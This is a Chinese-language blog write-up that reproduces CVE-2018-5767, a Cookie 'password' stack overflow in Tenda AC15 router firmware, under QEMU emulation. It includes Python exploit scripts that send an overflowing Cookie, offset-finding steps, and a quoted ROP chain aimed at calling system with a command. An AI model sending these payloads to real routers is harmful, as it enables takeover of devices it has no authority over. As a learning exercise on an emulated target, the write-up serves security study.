CVE-2018-5767 TENDA栈溢出漏洞

打算学习一下IOT相关的漏洞挖掘知识。

之前简单模拟过D-Link DIR-816 A2的任意命令执行漏洞,但是感觉能学到的东西较少,这次来复现一下一个TENDA的栈溢出漏洞。

只不过可惜的是没法完整复现rop链的调用过程。

实验目的

复现 CVE-2018-5767,是TENDA-AC15 路由器V15.03.1.16版本固件上的一个栈溢出漏洞,架构是arm架构,初步学习下IOT的漏洞挖掘。

环境配置

Ubuntu虚拟机,因为Ubuntu安装qemu很方便。

qemu环境

apt-get install qemu

pwndbg等环境的安装,可以参考我之前的文章,需要注意的点就是可能会和Ubuntu自带的gdb冲突,解决方法就是在自己的主目录下创建.gdbinit文件,写入pwndbg目录下gdbinit.py的路径

source gdbinit.py路径

固件US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin下载地址:
https://drivers.softpedia.com/get/Router-Switch-Access-Point/Tenda/Tenda-AC15-Router-Firmware-1503116.shtml

仿真模拟

binwalk导出固件文件系统,没有加固这些。

binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

查看一些信息,32位,arm架构。

readelf -h bin/busybox

然后找到路由器管理界面对应的httpd服务程序。

grep -r httpd .


尝试使用qemu启动。

#安装qemu和arm的动态链接库
sudo apt install qemu libc6-arm* libc6-dev-arm*
cp $(which qemu-arm-static) .

sudo chroot ./ ./qemu-arm-static ./bin/httpd

然后发现启动会失败,调试分析后,发现程序会开在这里,我们需要控制流程,做一些patch,免得每次都要修改。

然后启动,成功启动,但是ip不对,我们需要建立一个虚拟网桥br0,这里也能在代码中得到体现。

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0

成功后,执行ifconfig命令会发现,多了一个bro网。

然后重新尝试启动,正常启动。

当然模拟只是模拟,模拟出的环境是没法进行web端的页面访问的,但是后面版本的固件可以。

杀死相关进程。

//查找和httpd相关的进程
ps -ef|grep /bin/httpd

//根据pid杀掉进程
kill -9 pid

//查看端口占用
netstat -tunlp |grep  端口号

漏洞分析

根据参考文章来说漏洞是COOKIE包头中特制的‘password’参数可以照成栈溢出,这里由于没有真机,无法实际操作,只能默认有这么一个漏洞点。其对应的函数在R7WebsSecurityHandler。

接下来调试分析。

quem以调试方式挂起启动httpd。

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

pwndbg远程连接1234端口进行调试,当然也可以使用ida进行远程调试。

gdb-multiarch ./bin/httpd
target remote :1234
continue //先在分析的函数打断点后再进行continue

target remote :1234会自动先停到start处。

先给一个分析后的,方便懂原理。

然后我们可以先在password那里打个断点,然后continue,然后执行脚本,就会断下来。

b *0x02DCE8

test脚本。

1
2
3
4
5
6
7
8

import requests

url = "http://192.168.112.131/goform/xxx"

cookie = {"Cookie":"password="+"A"*600}

requests.get(url=url, cookies=cookie)

然后就会断下来,接下来调试。

sscanf。

执行完后,可以看到已经造成了栈溢出,覆盖了后面的数据。

然后也可以用x /100xb 0xfffeeacc,去查看下内存。

然后直接continue,看看会执行到哪去。

程序会报错误,用bt查看调用链,程序会被中间的流程执行截断,然后由于栈溢出,导致报错,所以我们需要提前能结束R7WebsSecurityHandler函数,然后我们通过栈溢出控制其返回执行流。

而正好后面有一个判断可以,提前return。

接下来我们需要得到偏移量,根据ida里面的数据可以得到大概是448字节就会覆盖,但是由于是arm架构,指令不同,而且我们也需要实际的测试。

构造如下playload,来确定偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from pwn import *
import requests

ip = "192.168.112.131"

url = "http://{:s}/goform/xxx".format(ip)
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': '',
'Cache-Control': 'max-age=0'
}


password = b"A" * 444 + b".gif"+b"bbbb"

headers['Cookie']=b"password="+password


response = requests.get(url,headers=headers)


确定偏移为448。

漏洞利用

其他文章中的rop链,payload = “A”*444 +”.png” + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

0x2ED18 : POP             {R4-R6,R11,PC} //pop pc会到我们的链的起始点gadget1

rop链。
gadget1 :pop {r3, pc}  //将system的地址给到r3,将gadget2给到pc
gadget2 :mov r0, sp ;  //将cmd的起始栈地址给到r0,作为system的参数
blx r3 //执行system函数

这里我复现遇到了点问题,就是vmmap指令得不到libc的基址,这导致没法构造有效的rop链,并且在原程序中也找不到一些有效的语句来构造,所以这里我打算自己调试,然后修改某些值来达到一个执行puts(“某字符串”)

获取system的地址,readelf -s ./bin/httpd | grep system

同样可以获取puts函数地址。

当然如果需要其他的语句,也可以使用ROPgadget,正则匹配想要的语句。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from pwn import *
import requests

ip = "192.168.112.131"

url = "http://{:s}/goform/xxx".format(ip)
headers = {

'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': '',
'Cache-Control': 'max-age=0'

}

puts_addr=0x00e3d0
password = b"A" * 444 + b".gif"+p32(puts_addr)
headers['Cookie']=b"password="+password

response = requests.get(url,headers=headers)

然后修改r0的值为程序中某一字符串的地址。

然后continue,发现成功打印。

参考

https://www.anquanke.com/post/id/204326#h2-2

https://www.cnblogs.com/ming-michelle/p/14105791.html

qemu的4种调试方法